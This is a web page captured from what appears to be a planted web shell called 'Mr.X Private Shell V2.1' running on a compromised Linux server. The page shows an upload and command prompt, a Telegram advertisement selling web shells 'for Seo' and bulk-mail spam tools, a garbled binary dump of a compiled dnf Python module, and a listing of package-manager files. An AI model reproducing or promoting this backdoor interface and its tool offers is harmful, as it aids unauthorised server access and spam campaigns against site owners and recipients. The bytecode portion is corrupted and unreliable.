__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.216.196: ~ $
3

�ft`?�@sVddlmZddlmZddlmZddlmZddlZddlZ	Gdd�dej
�ZdS)�)�absolute_import)�unicode_literals)�_)�commandsNc@s8eZdZdZdZed�Zedd��Zdd�Z	dd	�Z
d
S)�CheckCommandzSA class containing methods needed by the cli to execute the check
    command.
    �checkz#check for problems in the packagedbc	Cs�|jddddtd�d�|jddddtd	�d�|jd
dddtd�d�|jd
dddtd�d�|jddddtd�d�|jdddddddggtjd�dS)Nz--all�check_typesZappend_const�allzshow all problems; default)�dest�action�const�helpz--dependencies�dependencieszshow dependency problemsz--duplicates�
duplicateszshow duplicate problemsz--obsoleted�	obsoletedzshow obsoleted packagesz
--provides�provideszshow problems with provides�check_yum_types�*)�nargs�choicesr
)�add_argumentr�argparseZSUPPRESS)�parser�r�/usr/lib/python3.6/check.py�
set_argparser$s$zCheckCommand.set_argparsercCsxd|jj_|jjr<|jjr0|jj|jj|j_n|jj|j_|jjsPdh|j_nt|jj�|j_|jjj	dg7_	dS)NTr	)
ZcliZdemandsZsack_activation�optsrr�set�base�confZdisable_excludes)�selfrrr�	configure;s
zCheckCommand.configurec	Cs�t�}|jjj�j�}|jjjddh��r�d}�x||D�]r}x�t|j�tt|j	�t|j
��BD]�}t|�jd�rtq`t
|j|gd��s`t|�jd�r�|dkr�tjj|j�}tjj|�}|jt|�d�tjj|�}|jjj|_|j|dd�|j�}|r�q`td�}	|j|	j|jjjj|�|jjjj|���q`Wxx|jD]n}
|j|
gt|
�j �d	d
�}xJ|D]B}d}	|j|	j|jjjj|�|jjjj|
�|jjjj|����q^W�q8Wq6W|jjjddh��rN|jj!|�}
|j"�j#|
�j$�}xl|j%�D]`\}}|j&�xL|d
d�D]<}td�j|jjjj|d	�|jjjj|��}	|j|	��qW�q�W|jjjddh��r�x||D]t}xl|j'D]b}|j|gt|�j �d	d
�}t
|��rttd�j|jjjj|d	�|jjjj|��}	|j|	��qtW�qhW|jjjddh��r\xf|D]^}xV|j(D]L}||j|gd�k�rtd�}	|j|	j|jjjj|�|jjjj|����qW�q�Wxt)|�D]}	t*|	��qfW|�r�tj+j,djt
|����dS)Nr	rZrpmlib)r�(F)ZselectZoptionalz{} has missing requires of {}r)r�namez"{} has installed conflict "{}": {}r�z{} is a duplicate with {}rz{} is obsoleted by {}rz%{} provides {} but it cannot be foundzCheck discovered {} problem(s))-rr�sackZqueryZ	installedrr�intersectionZregular_requiresZrequires_preZprereq_ignoreinst�str�
startswith�len�filter�dnfZ
rpmdb_sack�selectorZSelector�goalZGoalrZprotect_running_kernelZinstall�runr�add�format�outputZtermZboldZ	conflicts�splitZ_get_installonly_queryZ
duplicated�
differenceZ
_name_dict�items�sortZ	obsoletesr�sorted�print�
exceptions�Error)r Z
output_set�qr%ZpkgZrequirer,r-Zsolved�msgZconflictZ
conflictedZconflict_pkgZinstallonlyZdupsr#Zpkgs�dupZobsoleterZproviderrrr.Is�(
$


 zCheckCommand.runN)r)�__name__�
__module__�__qualname__�__doc__�aliasesrZsummary�staticmethodrr!r.rrrrrsr)Z
__future__rrZdnf.i18nrZdnf.clirrZdnf.exceptionsr+ZCommandrrrrr�<module>s

Filemanager

Name Type Size Permission Actions
__init__.cpython-36.opt-1.pyc File 25.78 KB 0644
__init__.cpython-36.pyc File 26.01 KB 0644
alias.cpython-36.opt-1.pyc File 5.21 KB 0644
alias.cpython-36.pyc File 5.21 KB 0644
autoremove.cpython-36.opt-1.pyc File 1.87 KB 0644
autoremove.cpython-36.pyc File 1.87 KB 0644
check.cpython-36.opt-1.pyc File 3.64 KB 0644
check.cpython-36.pyc File 3.64 KB 0644
clean.cpython-36.opt-1.pyc File 4.01 KB 0644
clean.cpython-36.pyc File 4.01 KB 0644
deplist.cpython-36.opt-1.pyc File 889 B 0644
deplist.cpython-36.pyc File 889 B 0644
distrosync.cpython-36.opt-1.pyc File 1.41 KB 0644
distrosync.cpython-36.pyc File 1.41 KB 0644
downgrade.cpython-36.opt-1.pyc File 1.76 KB 0644
downgrade.cpython-36.pyc File 1.76 KB 0644
group.cpython-36.opt-1.pyc File 10.14 KB 0644
group.cpython-36.pyc File 10.23 KB 0644
history.cpython-36.opt-1.pyc File 11.22 KB 0644
history.cpython-36.pyc File 11.22 KB 0644
install.cpython-36.opt-1.pyc File 5.94 KB 0644
install.cpython-36.pyc File 5.94 KB 0644
makecache.cpython-36.opt-1.pyc File 1.23 KB 0644
makecache.cpython-36.pyc File 1.23 KB 0644
mark.cpython-36.opt-1.pyc File 2.85 KB 0644
mark.cpython-36.pyc File 2.85 KB 0644
module.cpython-36.opt-1.pyc File 14.61 KB 0644
module.cpython-36.pyc File 14.61 KB 0644
reinstall.cpython-36.opt-1.pyc File 2.9 KB 0644
reinstall.cpython-36.pyc File 2.97 KB 0644
remove.cpython-36.opt-1.pyc File 3.83 KB 0644
remove.cpython-36.pyc File 3.83 KB 0644
repolist.cpython-36.opt-1.pyc File 7.25 KB 0644
repolist.cpython-36.pyc File 7.25 KB 0644
repoquery.cpython-36.opt-1.pyc File 21.77 KB 0644
repoquery.cpython-36.pyc File 21.77 KB 0644
search.cpython-36.opt-1.pyc File 4.29 KB 0644
search.cpython-36.pyc File 4.29 KB 0644
shell.cpython-36.opt-1.pyc File 7.69 KB 0644
shell.cpython-36.pyc File 7.69 KB 0644
swap.cpython-36.opt-1.pyc File 1.84 KB 0644
swap.cpython-36.pyc File 1.84 KB 0644
updateinfo.cpython-36.opt-1.pyc File 13.58 KB 0644
updateinfo.cpython-36.pyc File 13.58 KB 0644
upgrade.cpython-36.opt-1.pyc File 3.59 KB 0644
upgrade.cpython-36.pyc File 3.59 KB 0644
upgrademinimal.cpython-36.opt-1.pyc File 1.08 KB 0644
upgrademinimal.cpython-36.pyc File 1.08 KB 0644